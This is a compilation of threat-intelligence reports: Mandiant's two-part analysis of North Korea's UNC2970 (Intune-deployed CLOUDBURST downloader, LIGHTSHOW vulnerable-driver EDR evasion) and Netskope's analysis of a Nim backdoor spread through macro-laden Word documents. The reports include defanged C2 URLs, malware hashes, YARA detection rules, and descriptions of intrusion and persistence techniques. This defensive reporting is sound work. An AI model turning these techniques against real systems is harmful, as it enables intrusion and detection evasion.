PresentationHost.exe would load the CLOUDBURST payload into memory. Upon further analysis of the Microsoft IME endpoint logs, Mandiant identified a unique GUID, f391eded-82d3-4506-8bf4-9213f6f4d586 , in the PolicyID field, which is a "Unique identifier of the Policy in the data warehouse". The Intune Data Warehouse provides insight and information about an enterprise mobile environment, such as historical Intune data and Intune data refreshed on a daily occurence. The identified GUID also matched the GUID of the PowerShell script file name and the GUID observed in an IME associated registry key. When reviewing the Intune Tenant admin Audit logs, Mandiant identified the same GUID under the ObjectID field. The Intune Tenant audit logs shows records of activities that generate a change in Intune, including create, update (edit), delete, assign, and remote actions. The logs revealed that the threat actors used a previously compromised account to perform a create, assign, patch, and finally a delete action of a Device Management Script, using the Target Microsoft.Management.Services.Api.DeviceManagementScript and the GroupID f391eded82d3-4506-8bf4-9213f6f4d586 . Further analysis revealed that ObjectID GUIDs referenced in the Intune Tenant admin Audit logs maps to the ID of Mobile App assignment groups. At the time of analysis, the GroupID f391eded-82d3-4506-8bf4-9213f6f4d586 , was no longer present in the Intune Endpoint management admin center, and was likely deleted by the threat actors. In order to determine malicious usage of Microsoft Intune, Mandiant performed the following analysis steps: 1. Analyzed AzureAD sign-in logs for evidence of suspicious logons to the Microsoft Intune application Analyzed Microsoft Intune audit logs for evidence of unexpected deployments and performed the following: Utilized the GroupID GUID to search for the presence of the following endpoint artifacts: 1. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ IntuneManagementExtension\Policies\\ 2. C:\Program Files (x86)\Microsoft Microsoft IME\Policies\Scripts\_.ps1 2. For hosts that had the aforementioned artifacts, the following was performed: Acquired the PS1 file(s) and analyzed for malicious code Performed traditional endpoint analysis Mandiant tracks the malware being distributed via InTune as CLOUDBURST. CLOUDBURST is a downloader written in C that communicates via HTTP. The malware attempts to make itself look like a legitimate version of mscoree.dll , but contains fake exports, the same way that TOUCHSHIFT uses fake exports. One variant of CLOUDBURST made use of legitimate open-source software that was added as exports, in addition to the fake exports. The actual export with malicious code is CorExitProcess . The CorExitProcess export expects the single argument -embeddingObject. 13/20 Figure 22: Comparing command line argument with -embeddingObject Once the aforementioned command line argument has been verified, CLOUDBURST builds the domain as a stack string, and sends out the two following requests to the C2 server: hxxps://[c2domain]/wp-content/plugins/contact.php?gametype=&type=O8Akm8aV09Nw412KMoWJd hxxps://[c2domain]/wp-content/plugins/contact.php?gametype=tennis&type=k Following the network connections, CLOUDBURST conducts a host survey, in which it will determine the Product Name, Computer Name, and enumerate running processes. Upon completion of the host enumeration, CLOUDBURST then downloads and executes shellcode from the C2 server. At this time, Mandiant was unable to recover and identify the purpose of the shellcode downloaded by CLOUDBURST. Figure 23: Calling functions to enumerate the host Figure 24: Allocating and populating memory space, and executing the shellcode Outlook and Implications The identified malware tools highlight continued malware development and deployment of new tools by UNC2970. Although the group has previously targeted defense, media, and technology industries, the targeting of security researchers suggests a shift in strategy or an expansion of its operations. Technical indicators and the group s TTPs link it to TEMP.Hermit, although this latest activity suggests the group is adapting their capabilities as more of their targets move to cloud services. To learn more about how UNC2970 further enabled its operations, please see part two of our research. Campaign Tracking Mandiant will continue to monitor UNC2970 s campaigns and intrusion operations and will provide notable and dynamic updates regarding changes in tactics and techniques, the introduction of tools with new capabilities, or the use of new infrastructure to carry out their mission. For more insights into how Mandiant tracks this and similar campaigns, see our Threat Campaigns feature within Mandiant Advantage Threat Intelligence. Recommended Mitigations Hardening Azure AD and Microsoft Intune Mandiant has observed UNC2970 leverage weak identity controls in Azure AD combined with Microsoft Intune s endpoint management capabilities to effectively deploy malicious PowerShell scripts onto unsuspecting endpoints. 14/20 Increasing Azure AD identity protections and limiting access to Microsoft Intune is essential in mitigating the attacker activity observed by Mandiant. Organizations should consider implementing the following hardening controls: Cloud-Only Accounts: Organizations should utilize cloud-only accounts for privileged access within Azure AD (e.g., Global Admins, Intune Administrator) and never assign privileged access to synced accounts from on-premises identity providers such as Active Directory. Additionally, admins should utilize a separate daily-driver account for day-to-day activities such as sending email or web-browsing. Dedicated admin accounts should be utilized to carry out administrative functions only. Enforce Strong Multi-Factor Authentication Methods: Organizations should consider enforcing enhanced and phishing-resistant Multi-Factor Authentication (MFA) methods for all users and administrators. Weak MFA methods commonly include SMS, Voice (phone call), OTPs, or Push notifications and should be considered for removal. MFA enhancements for non-privileged users should include contextual information regarding the MFA request such as number-matching, application name, and geographic location. For privileged accounts, Mandiant recommends the enforcement of hardware tokens or FIDO2 Security Keys as-well as requiring MFA per each sign-in regardless of location (e.g., Trusted Network, Corporate VPN). As an initial roll out for enhanced MFA methods, organizations should focus on all accounts with administrative privileges in Azure AD. Microsoft has additional information regarding contextual MFA settings. Privileged Identity Management (PIM) Solution: Mandiant recommends that organizations consider utilizing a PIM solution. A PIM solution should include a Just-In-Time (JIT) access capability which will provide access when requested, for a specific duration of time, and should initiate an approval flow, prior to providing an account access to a highly privileged role (e.g., Global Administrator or Intune Administrator). Conditional Access Policies (CAPs) to Enforce Security Restrictions in Azure AD: A CAP allows organizations to set requirements for accessing cloud apps such as Intune, based on various conditions including location and device platform. Mandiant recommends that Organizations utilize CAPs to restrict Azure administrative functions to only compliant and registered devices in Azure AD and only from a specific subset of trusted IPs or ranges. Microsoft has more information on leveraging CAPs to access Cloud Apps. Azure Identity Protection: Azure Identity Protection is a security feature within Azure Active Directory that allows organizations to automate the detection and remediation of identity-based risks. Identity Protection analyzes user account activity as-well as sign-in activity to identify potentially compromised accounts or unauthorized authentication requests. Identity Protection data can be leveraged to enhance Conditional Access Policies by enforcing access controls based on user or sign-in risk. Additionally, Identity Protection risk data should be exported to a Security Information and Event Management (SIEM) solution for further correlation and analysis. Note: Azure Identity Protection requires an Azure AD Premium P2 License. Multi Admin Approval with Intune: To prevent unauthorized changes, organizations utilizing Intune should implement the Multi Admin Approval feature. This feature enforces a multiple administrative approval process that requires secondary admin approval before modifying or creating Script and App deployments. Note: As of February 2023, Multi Admin Approval is in Public Preview and does not yet support request notifications. Requests will need to be manually communicated to expedite the approval workflow. Microsoft has more information regarding Multi Admin Approval. Additional Security Controls Block Office Macros: While Microsoft has changed the default behavior of Office applications to block macros from the internet, Mandiant still recommends Organizations proactively deploy policies to control and enforce the behavior of office files containing macros. Microsoft has more information on using policies to manage how Office handles macros. Disable Disk Image Auto-Mount: Mandiant has observed UNC2970 utilize trojanized ISO files containing malicious payloads to bypass security controls and trick victims into executing malware. On Windows systems, the option to mount an ISO by right-clicking the file then selecting Mount from the context menu can be removed by deleting the registry keys associated with image file types (.iso, .img, .vhd, .vhdx). Deleting these registry keys will also prevent a user from auto-mounting an image file by double-clicking the file. Enhance PowerShell Logging: Increase PowerShell logging to provide security engineers and investigators the visibility needed to detect malicious activity and provide a historical record of how PowerShell was used on systems. For additional details regarding enhancing PowerShell logging, please reference to the Mandiant blog post, Greater Visibility Through PowerShell Logging Indicators of Compromise Signature e97b13b7e91edeceeac876c3869cc4eb PLANKWALK a9e30c16df400c3f24fc4e9d76db78ef PLANKWALK f910ffb063abe31e87982bad68fd0d87 PLANKWALK 15/20 30358639af2ecc217bbc26008c5640a7 LIDSHIFT 41dcd8db4371574453561251701107bc LIDSHOT 866f9f205fa1d47af27173b5eb464363 TOUCHSHIFT 8c597659ede15d97914cb27512a55fc7 TOUCHSHIFT a2109276dc704dedf481a4f6c8914c6e TOUCHSHIFT 3bf748baecfc24def6c0393bc2354771 TOUCHSHOT 91b6d6efa5840d6c1f10a72c66e925ce TOUCHKEY 300103aff7ab676a41e47ec3d615ba3f HOOKSHOT 49425d6dedb5f88bddc053cc8fd5f0f4 TOUCHMOVE abd91676a814f4b50ec357ca1584567e SIDESHOW 05b6f459be513bf6120e9b2b85f6c844 CLOUDBURST hxxp://webinternal.anyplex[.]com/images/query_image.jsp PLANKWALK C2 hxxp://www.fainstec[.]com/assets/js/jquery/jquery.php PLANKWALK C2 hxxps://ajayjangid[.]in/js/jquery/jquery.php PLANKWALK C2 hxxps://sede.lamarinadevalencia[.]com/tablonEdictal/layout/contentLayout.jsp PLANKWALK C2 hxxps://leadsblue[.]com/wp-content/wp-utility/index.php LIDSHOT C2 hxxps://toptradenews[.]com/wp-content/themes/themes.php SIDESHOW C2 hxxp://mantis.quick.net[.]pl/library/securimage/index.php SIDESHOW C2 hxxp://www.keewoom.co[.]kr/prod_img/201409/prod.php SIDESHOW C2 hxxp://abba-servicios[.]mx/wordpress/wp-content/themes/config.php SIDESHOW C2 hxxp://www.ruscheltelefonia[.]com.br/public/php/index.php SIDESHOW C2 hxxps://olidhealth[.]com/wp-includes/php-compat/compat.php CLOUDBURST C2 hxxps://doug[.]org/wp-includes/admin.php CLOUDBURST C2 hxxps://crickethighlights[.]today/wp-content/plugins/contact.php CLOUDBURST C2 Mandiant Security Validation Actions Organizations can validate their security controls using the following actions with Mandiant Security Validation. Name 16/20 A105-491 Command and Control - QUESTDOWN, Exfiltration, Variant #1 A105-492 Command and Control - QUESTDOWN, Exfiltration, Variant #2 A105-493 Command and Control - QUESTDOWN, Next Stage Download Attempt, Variant #1 A105-494 Command and Control - QUESTDOWN, Status, Variant #1 A105-507 Phishing Email - Malicious Attachment, PLANKWALK Downloader, Variant #1 A105-508 Phishing Email - Malicious Attachment, QUESTDOWN Dropper, Variant #1 A105-514 Protected Theater - QUESTDOWN, Execution, Variant #1 S100-218 Malicious Activity Scenario - Campaign 22-046, QUESTDOWN Infection Signatures PLANKWALK rule M_Hunt_APT_PLANKWALK_Code_String { meta: author = "Mandiant" description = "Detects a format string containing code and token found in PLANKWALK" strings: $hex = { 63 6F 64 65 [1-6] 3D 25 64 26 [1-6] 75 73 65 72 [1-6] 3D 25 73 26 [1-6] 74 6F 6B 65 condition: (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $hex LIDSHIFT rule M_APT_Loader_Win_LIDSHIFT_1 { meta: author = "Mandiant" description = "Detects LIDSHIFT implant" strings: $anchor1 = "%s:%s:%s" ascii $encloop = { 83 ?? 3F 72 ?? EB ?? 8D ?? ?? 3F 2B ?? 42 0F ?? ?? ?? 41 ?? ?? } B8 ?? 41 10 04 F7 ?? 8B ?? 2B ?? D1 ?? 03 ?? C1 ?? 05 6B ?? condition: uint16(0) == 0x5a4d and all of them LIDSHOT 17/20 rule M_APT_Loader_Win_LIDSHOT_1 { meta: author = "Mandiant" description = "Detects LIDSHOT implant" strings: $code1 = { 4C 89 6D ?? 4C 89 6D ?? C7 45 ?? 01 23 45 67 C7 45 ?? 89 AB CD EF C7 45 ?? FE DC BA 98 C7 45 ?? 76 54 32 10 4C 89 6C 24 ?? 48 C7 45 ?? 0F 00 00 00 C6 44 24 ?? 00 } $code2 = { B8 1F 85 EB 51 41 F7 E8 C1 FA 03 8B CA C1 E9 1F 03 D1 6B CA 19 } $code3 = { C7 45 ?? 30 6B 4C 6C 66 C7 45 ?? 55 00 } condition: uint16(0) == 0x5a4d and all of them CLOUDBURST rule M_APT_Loader_Win_CLOUDBURST_1 { meta: author = "Mandiant" strings: $anchor1 = "Microsoft Enhanced Cryptographic Provider v1.0" ascii wide $code1 = { 74 79 70 $code2 = { 65 71 75 69 } $code3 = { 62 6F 78 69 } $code4 = { E8 ?? ?? ?? ?? FF C6 B8 99 99 99 99 F7 EE D1 FA 8B C2 C1 E8 1F 03 D0 8D 04 16 8D 34 90 85 F6 75 ?? $str1 = "%s%X" condition: uint16(0) == 0x5a4d and all of them TOUCHSHIFT rule M_DropperMemonly_TOUCHSHIFT_1 { meta: author = "Mandiant" description = "Hunting rule for TOUCHSHIFT" strings: $p00_0 = {0943??eb??ff43??b0??eb??e8[4]c700[4]e8[4]32c0} $p00_1 = {4c6305[4]ba[4]4c8b0d[4]488b0d[4]ff15[4]4c6305[4]ba[4]4c8b0d[4]488b0d} condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and ($p00_0 in (70000..90000) and $p00_1 in (0..64000)) 18/20 SIDESHOW rule M_APT_Backdoor_Win_SIDESHOW_1 { meta: author = "Mandiant" description = "Detects string deobfuscation function in SIDESHOW, may also detect other variants of malware from the same actor" strings: $code1 = { 41 0F B6 ?? 33 ?? 48 ?? ?? 0F 1F 80 00 00 00 00 3A ?? 74 ?? FF ?? 48 FF ?? 83 ?? 48 72 ?? EB ?? 41 0F ?? ?? 2B ?? ?? 39 8E E3 38 83 ?? 48 F7 ?? C1 ?? 04 8D ?? ?? C1 ?? 03 2B ?? ?? 39 8E E3 38 } condition: uint16(0) == 0x5a4d and (all of them) TOUCHKEY rule M_Hunting_TOUCHKEY { meta: author = "Mandiant" description = "Hunting rule For TOUCHKEY" strings: $a1 = "Normal.dost" $a2 = "Normal.docb" $c1 = "[SELECT]" ascii wide $c2 = "[SLEEP]" ascii wide $c3 = "[LSHIFT]" ascii wide $c4 = "[RSHIFT]" ascii wide $c5 = "[ENTER]" ascii wide $c6 = "[SPACE]" ascii wide condition: (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and filesize < 200KB and (5 of ($c*)) and $a1 and $a2 TOUCHSHOT 19/20 rule M_Hunting_TOUCHSHOT { meta: author = "Mandiant" description = "Hunting rule For TOUCHSHOT" strings: $path = "%s\\Microsoft\\Windows\\Themes\\" wide $format = "%04d%02d%02d-%02d%02d%02d" $s1 = "EnumDisplaySettingsExW" ascii $s2 = "GetSystemMetrics" ascii $s3 = "GetDC" ascii $s5 = "ReleaseDC" ascii condition: (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and filesize < 200KB and (3 of ($s*)) and $path and $format HOOKSHOT rule M_Hunting_HOOKSHOT { meta: author = "autopatt" description = "Hunting rule for HOOKSHOT" strings: $p00_0 = {8bb1[4]408873??85f675??488b81[4]488b88[4]4885c974??e8} $p00_1 = {8bf3488bea85db0f84[4]4c8d2d[4]66904c8d4424??8bd6488bcd} condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and ($p00_0 in (470000..490000) and $p00_1 in (360000..380000)) Acknowledgements Special thanks to John Wolfram, Rich Reece, Colby Lahaie, Dan Kelly, Joe Pisano, Jeffery Johnson, Fred Plan, Omar ElAhdan, Renato Fontana, Daniel Kennedy, and all the members of Mandiant Intelligence and Consulting that supported these investigations. We would also like to thank Lexie Aytes for creating Mandiant Security Validation (MSV) actions, as well as Michael Barnhart, Jake Nicastro, Geoff Ackerman, and Dan Perez for their technical review and feedback. 20/20 Stealing the LIGHTSHOW (Part Two) LIGHTSHIFT and LIGHTSHOW mandiant.com/resources/blog/lightshift-and-lightshow In part one on North Korea's UNC2970, we covered UNC2970 s tactics, techniques and procedures (TTPs) and tooling that they used over the course of multiple intrusions. In this installment, we will focus on how UNC2970 utilized Bring Your Own Vulnerable Device (BYOVD) to further enable their operations. During our investigation, Mandiant consultants identified most of the original compromised hosts, targeted by UNC2970, contained the files %temp%\_SB_SMBUS_SDK.dll and suspicious drivers, created around the same time on disk. At the time Mandiant initially identified these files, we were unable to determine how they were dropped or the exact use for these files. It wasn't until later in the investigation, during analysis of a forensic image, where the pieces started falling into place. A consultant noticed multiple keyword references to the file C:\ProgramData\USOShared\Share.DAT (MD5: def6f91614cb47888f03658b28a1bda6 ). Upon initial glance at the Forensic Image, this file was no longer on disk. However, Mandiant was able to recover the original file, and the initial analysis of the sample found that Share.DAT was a XORed data blob, which was encoded with the XOR key 0x59 . The decoded payload (MD5: 9176f177bd88686c6beb29d8bb05f20c ), referred to by Mandiant as LIGHTSHIFT, is an in-memory only dropper. The LIGHTSHIFT dropper distributes a payload (MD5: ad452d161782290ad5004b2c9497074f ) that Mandiant refers to as LIGHTSHOW. Once loaded into memory, LIGHTSHIFT invokes the exports Create then Close in that order. The response from Close is written as a hex formatted address to the file C:\Windows\windows.ini . Figure 1: LIGHTSHIFT preparing to load LIGHTSHOW LIGHTSHOW is a utility that makes use of two primary anti-analysis techniques used to hinder both dynamic and static analysis. To deter static analysis, LIGHTSHOW was observed being packed by VM-Protect. In an effort to thwart dynamic analysis, LIGHTSHOW is targeted to a specific host and requires a specific SHA256 hash corresponding to a specific computer name or the sample will not fully execute. Once FLARE completed the analysis of LIGHTSHOW, we were able to understand how the files %temp%\ _SB_SMBUS_SDK.dll and drivers were created on disk. LIGHTSHOW is a utility that was used by UNC2970 to manipulate kernel data-structures and represents an advancement in DPRK s capabilities to evade detection. To accomplish this, LIGHTSHOW drops a legitimate version of a driver with known vulnerabilities, with a SHA256 hash of 175eed7a4c6de9c3156c7ae16ae85c554959ec350f1c8aaa6dfe8c7e99de3347 to C:\Windows\System32\Drivers with one of the following names chosen at random and appended with mgr : circlass dmvsc hidir isapnp umpass LIGHTSHOW then creates the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ where is the same as the chosen filename without appended mgr . It then creates a registry key with the value name ImagePath , which points to the path of the driver. The sample then loads the driver using NtLoadDriver . LIGHTSHOW drops and loads a dummy DLL %temp%\_SB_SMBUS_SDK.dll to register itself to the driver as a legitimate caller. Using the vulnerable driver, LIGHTSHOW can perform arbitrary read and write operations to kernel memory. LIGHTSHOW uses this read/write primitive to patch different kernel routines, which are related to the type of facilities an Endpoint Detection and Response (EDR) software may use, to enable evasion of said EDR software. After the read and write operations to kernel memory, the sample unloads and deletes %temp%\ _SB_SMBUS_SDK.dll . Examining the chain of execution, we see further obfuscation techniques being employed in LIGHTSHOW. UNC2970 has a concerted effort towards obfuscation and employs multiple methods to do this throughout the entire chain of delivery and execution. Figure 2: LIGHTSHOW Obfuscation LIGHTSHOW is another example of tooling that looks to capitalize on the technique of BYOVD. BYOVD is a technique that utilizes the abuse of legitimate and trusted, but vulnerable drivers, to bypass kernel level protections. This technique has been utilized by adversaries ranging from financial actors, such as UNC3944, to espionage actors like UNC2970, which shows its usefulness during intrusion operations. AHNLab recently released a report on activity tracked as Lazarus Group that focused largely on the use of BYOVD. While Mandiant did not observe the hashes included in the AHNLab report, the use of SB_SMBUS_SDK.dll as well as other similarities, such as the exported functions Create and Close , indicate an overlap between the activity detailed in this blog post and those detailed by AHNLab. Throughout several incidents we responded to in 2022 that involved UNC2970, we observed them utilizing a small set of vulnerable drivers. This includes the Dell DBUtil 2.3 and the ENE Technology device drivers. UNC2970 utilized both of these drivers in an attempt to evade detection. These two drivers, and many more, are found in the Kernel Driver Utility (KDU) toolkit. With this in mind, it is likely that we will continue to see UNC2970 abuse vulnerable drivers from other vendors. Mandiant has worked to detect and mitigate BYOVD techniques for a number of years and has worked closely with industry allies to report vulnerabilities when discovered. During research being carried out on UNC2970 we discovered a vulnerable driver that the actor had access to, but did not know was vulnerable - essentially making it a 0day in the wild but not being actively exploited. This was verified through our Offensive Task Force who subsequently carried out a notification to the affected organization and reported the vulnerability to MITRE, which was assigned CVE-2022-42455. Outlook and Implications Mandiant continues to observe multiple threat actors utilizing BYOVD during intrusion operations. Because this TTP provides adversaries an effective means to bypass and mitigate EDR, we assess that it will continue to be utilized and adapted into actor tooling. The continued targeting of security researchers by UNC2970 also provides an interesting way that the group can potentially continue to expand their toolset to gain an upper hand with BYOVD. Mitigations Because attestation signing is a legitimate Microsoft program and the resulting drivers are signed with Microsoft certificates, execution-time detection is made much more difficult as most EDR tools and Anti-Viruses will allow binaries signed with Microsoft certificates to load. The recent blog post released by Mandiant on UNC3944 driver operations details multiple techniques that can be used by organizations to hunt for the abuse of attestation signing. If you haven't already, don't forget to read part one on North Korea's UNC2970. Additionally, Microsoft recently released a report detailing how organizations can harden their environment against potentially vulnerable third-party developed drivers. Indicators of Compromise Signature def6f91614cb47888f03658b28a1bda6 d LIGHTSHIFT 9176f177bd88686c6beb29d8bb05f20c LIGHTSHIFT ad452d161782290ad5004b2c9497074f LIGHTSHOW 7e6e2ed880c7ab115fca68136051f9ce ENE Driver SB_SMBUS_SDK.dll LIGHTSHOW Dummy DLL C:\Windows\windows.ini LIGHTSHIFT Output Signatures LIGHTSHIFT rule M_Code_LIGHTSHIFT meta: author = "Mandiant" description = "Hunting rule for LIGHTSHIFT" sha256 = "ce501fd5c96223fb17d3fed0da310ea121ad83c463849059418639d211933aa4" strings: $p00_0 = {488b7c24??448d40??48037c24??488bcfff15[4]817c24[5]74?? 488b4b??33d2} $p00_1 = {498d7c01??8b47??85c075??496345??85c07e??8b0f41b9} condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and ($p00_0 in (750..11000) and $p00_1 in (0..8200)) LIGHTSHOW rule M_Code_LIGHTSHOW meta: author = "Mandiant" description = "Hunting rule For LIGHTSHOW." md5 = "ee5057da3e38b934dae15644c6eb24507fb5a187630c75725075b24a70065452" strings: $E01 = { 46 75 64 4d 6f 64 75 6c 65 2e 64 6c 6c } $I01 = { 62 63 72 79 70 74 2e 64 6c 6c } $I02 = { 4b 45 52 4e 45 4c 33 32 2e 64 6c 6c } $I03 = { 75 73 65 72 33 32 2e 64 6c 6c 00 } 57 } $H1 = { 4D 5A 90 00 } $H2 = { 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F } $F01 = { 47 65 74 4d 6f 64 75 6c 65 46 69 6c 65 4e 61 6d 65 $F02 = { 47 65 74 4d 6f 64 75 6c 65 48 61 6e 64 6c 65 41 } $F03 = { 47 65 74 46 69 6c 65 54 79 70 65 } $F04 = { 47 65 74 56 65 72 73 69 6f 6e } 73 } $F05 = { 51 75 65 72 79 53 65 72 76 69 63 65 53 74 61 74 75 $F06 = { 42 43 72 79 70 74 4f 70 65 6e 41 6c 67 6f 72 69 74 68 6d 50 72 6f 76 69 64 65 72 } $M01 = { 68 2d 79 6e b1 } $M02 = { 68 ea 71 c2 55 } $M03 = { 66 b8 ad eb } $M04 = { 4c 8d 2c 6d b3 6c 05 39 } $M05 = { 48 8d 2c 95 08 9d ec 9a } $S01 = { 48 8d 0c f5 a3 cd 0a eb} $S02 = { 81 f9 7f 56 e6 0a} condition: ($H1 in (0..2048)) and ($H2 in (0..2048)) and filesize < 100MB and filesize > 5KB and all of ($M0*) and all of ($E*) and all of ($I0*) and 6 of ($F0*) and all of ($S0*) A Look at the Nim-based Campaign Using Microsoft Word Docs to Impersonate the Nepali Government netskope.com/blog/a-look-at-the-nim-based-campaign-using-microsoft-word-docs-to-impersonate-the-nepaligovernment December 20, 2023 Summary Threat actors often employ stealthy attack techniques to elude detection and stay under the defender s radar. One way they do so is by using uncommon programming languages to develop malware. Using an uncommon programming language to develop malware provides several benefits, including: Evading some signature based detections Impeding analysis by malware analysts that are unfamiliar with the language Limited community detection and published analysis Netskope recently analyzed a malicious backdoor written in Nim, which is a relatively new programming language. Netskope Threat labs has observed an increase in Nim-based malware over the past year and expects Nim-based malware to become more popular as attackers continue to modify existing Nim-based samples. One of the highest-profile Nimbased malware families was the Dark Power ransomware, which began spreading in the wild earlier this year. This blog post provides a breakdown of a recent targeted threat that uses Word document bait to deliver a Nim backdoor. Delivery Method A malicious Word document was used to drop the Nim backdoor. The document was sent as an email attachment, where the sender claims to be a Nepali government official sending security arrangements. Despite the security controls placed around macros in Office files, we are still seeing APT-attributed malware using them to drop their payload, like the Menorah malware we analyzed a couple of months ago. Initially opening the file will show a blank document with an instruction to enable macros. When the user clicks Enable Content, the auto-trigger routine (Document_Open) in the code will execute. Once the main function is called, the code is executed through additional VBA functions inside the document. 1/12 Malicious Word file prior enabling macro Defense Evasion To help bypass AV and static based detections, the VBA project is password protected and macros are obfuscated using the Chr( ) VBA function and string concatenation. The VBA code is split into the four subroutines in the image below. sch_task is a function that creates a VBscript named OCu3HBg7gyI9aUaB.vbs that will serve as the chain trigger. Initially, the VBscript is created in the AppData startup folder (C:\Users\\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OCu3HBg7gyI9aUaB.vbs) and is set as a hidden file. Oddly, some variables are initialized in one function, but then utilized in a different function/s, which could be meant to confuse static analysis. Some strings referring to directories and libraries are split and then concatenated to evade static detection. 2/12 VBA code for sch_task routine. hide_cons is a function to create another VBScript named skriven.vbs, which will be used 8lGghf8kIPIuu3cM.bat as a shell to run other scripts. More detailed info about this batch script is found below. Again, some strings referring to directories and libraries are split and then concatenated. VBA code for hide_cons routine. read_shell is a function that creates the payload named conhost.exe, which is inside a ZIP archive. As can be seen from the screenshot below of the macro code, it assembles the ZIP from an array of decimals (by converting each to byte) stored in the UserForm1 object. The resulting byte array is the actual ZIP file and is dropped to C:\Users\ \AppData\Local\Microsoft\conhost.zip 3/12 VBA code for read_shell routine. UserForm1 Containing Decimal/Bytes. vb_chainis a function mainly for creating 8lGghf8kIPIuu3cM.bat , which will be the stage of infection before the final payload. Exact file paths are generated by the VBA macro before writing to the batch file. 4/12 vb_chain code snapshot. Dropped Files Summary: e2a3edc708016316477228de885f0c39.doc drops: OCu3HBg7gyI9aUaB.vbs (C:\Users\ \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OCu3HBg7gyI9aUaB.vbs) skriven.vbs (C:\Users\\AppData\Local\skriven.vbs) conhost.zip (C:\Users\\AppData\Local\Microsoft\conhost.zip) 8lGghf8kIPIuu3cM.bat (C:\Users\\AppData\Local\8lGghf8kIPIuu3cM.bat) drops these in C:\Users\\AppData\Local: unzFile.vbs unz.vbs 2L7uuZQboJBhTERK.bat 2BYretPBD4iSQKYS.bat d.bat e.bat 5/12 Nim Backdoor The Word document drops a malicious backdoor named conhost.exe . The malware is written in Nim and was likely compiled on September 20, 2023. Nim is a statically typed compiled programming language. Its versatility shines through its ability to be compiled to C, C++, or JavaScript, coupled with a Pythonic syntax for a developer-friendly experience. 6/12 The backdoor runs within the same privilege as the current user logged in. It s looking to continue its ploy that the file was from a Nepali authority by imitating government domains for its C&C server ([.]govnp[.]org). When this backdoor is left undetected, users are at risk of having attackers gaining remote access. Even though the C2 servers are no longer accessible at the time of analysis, we were still able to extrapolate some of its behaviors, which can be seen below. Anti-analysis Technique The malware performs a simple background check before connecting to its command and control server. Initially, the Nim backdoor spawns a command prompt to run tasklist.exe and checks for any processes running from its list of known analysis tools. The backdoor will terminate itself shortly if it sees any of the analysis tools from the list running. 7/12 Processes the backdoor avoids Command and control through web protocol Once the backdoor confirms there are no analysis tools running, it will spawn another command prompt instance to get the machine s hostname, then connect to its C&C server. It encrypts the hostname with a function named bakery. The encrypted hostname is encoded twice in base64, spliced behind a randomly chosen C&C server URL, and then concatenated with the .asp suffix at the end to obtain the URL of the final command. The command delivered by the C&C server is obtained through an HTTP GET request. Response data from GET contains the command from the C&C server. If the response data is different from the last time it was fetched, it means that the C&C server has issued a new command. Otherwise it will be dormant and keep requesting the command from the C&C server. Decryption of response data (command) is done by the confectionary function, then concatenated with cmd /c to execute the command. The execution result is also sent back to the server through a GET request. The key used for encryption and decryption is which may be an abbreviation of NP (Nepal) Agent. 8/12 Screenshot of network traffic specific to the sample. The sample contacts the following C2 hosts: mail[.]mofa[.]govnp[.]org nitc[.]govnp[.]org mx1[.]nepal[.]govnp[.]org dns[.]govnp[.]org Persistence through Startup Folder and Scheduled Task To retain access on the machine, a VBscript named OCu3HBg7gyI9aUaB.vbs is placed in the startup folder. The script will initially confirm an internet connection using WMI Win32_PingStatus class to ping https://www.google[.]com. If successful, it will run a batch file named 8lGghf8kIPIuu3cM.bat The main task of the batch file 8lGghf8kIPIuu3cM.bat is to drop files that will further unpack and create a scheduled task for the payload. The batch file will create more scripts that will carry out these subtasks: unz.vbs is used for decompressing the executable out from the archive into the same directory unzFile.vbs creates unz.vbs 2L7uuZQboJBhTERK.bat is just for chaining; runs unzFile.vbs then runs 2BYretPBD4iSQKYS.bat 2BYretPBD4iSQKYS.bat is just for chaining; runs unz.vbs then runs d.bat d.bat creates a scheduled task of the unpacked payload (conhost.exe) then runs e.bat e.bat deletes itself and the other scripts created by 8lGghf8kIPIuu3cM.bat 9/12 The batch file named d.bat creates a scheduled task to attain another persistent execution of the malware on the target machine. The scheduled task is named ConsoleHostManager as seen in the below screenshot. Screenshot for Scheduled Task created. Netskope Detection Netskope Advanced Threat Protection provides proactive coverage against zero-day and APT samples of malicious Office documents using both our static analysis engines and cloud sandbox. The following screenshot shows the detection for e2a3edc708016316477228de885f0c39, indicating it was detected by Netskope Cloud Sandbox, Netskope Advanced Heuristic Engine, and Netskope Threat Intelligence. 10/12 Conclusions Malware written in uncommon programming languages puts the security community at a disadvantage as researchers and reverse engineers unfamiliarity can hamper their investigation. Nim is one of the young programming languages increasingly abused by malware authors. Aside from its familiar syntax, its cross-compilation features allow attackers to write one malware variant and have it cross-compiled to target different platforms. Netskope Threat Labs will continue monitoring the usage of unpopular programming languages. IOCs e2a3edc708016316477228de885f0c39 777fcc34fef4a16b2276e420c5fb3a73 EF834A7C726294CE8B0416826E659BAA 32C5141B0704609B9404EFF6C18B47BF SHA-1 3aa803baf5027c57ec65eb9b47daad595ba80bac 5D2E2336BB8F268606C9C8961BED03270150CF65 4CAE7160386782C02A3B68E7A9BA78CC5FFB0236 0599969CA8B35BB258797AEE45FBD9013E57C133 SHA-256 b5c001cbcd72b919e9b05e3281cc4e4914fee0748b3d81954772975630233a6e 696f57d0987b2edefcadecd0eca524cca3be9ce64a54994be13eab7bc71b1a83 11/12 88FA16EC5420883A9C9E4F952634494D95F06F426E0A600A8114F69A6127347F 1246356D78D47CE73E22CC253C47F739C4F766FF1E7B473D5E658BA1F0FDD662 Network mail[.]mofa[.]govnp[.]org nitc[.]govnp[.]org mx1[.]nepal[.]govnp[.]org dns[.]govnp[.]org Thank you to Juan Diego Huet for helping analyze the sample files and contributing to this blog. Ghanashyam Satpathy Ghanashyam Satpathy is a Principal Researcher with the Netskope Efficacy team, which drives the detection effectiveness. His background is building threat detection products using AI/ML technology for cloud and endpoint security. 12/12 New Tool Set Found Used Against Organizations in the Middle East, Africa and the US 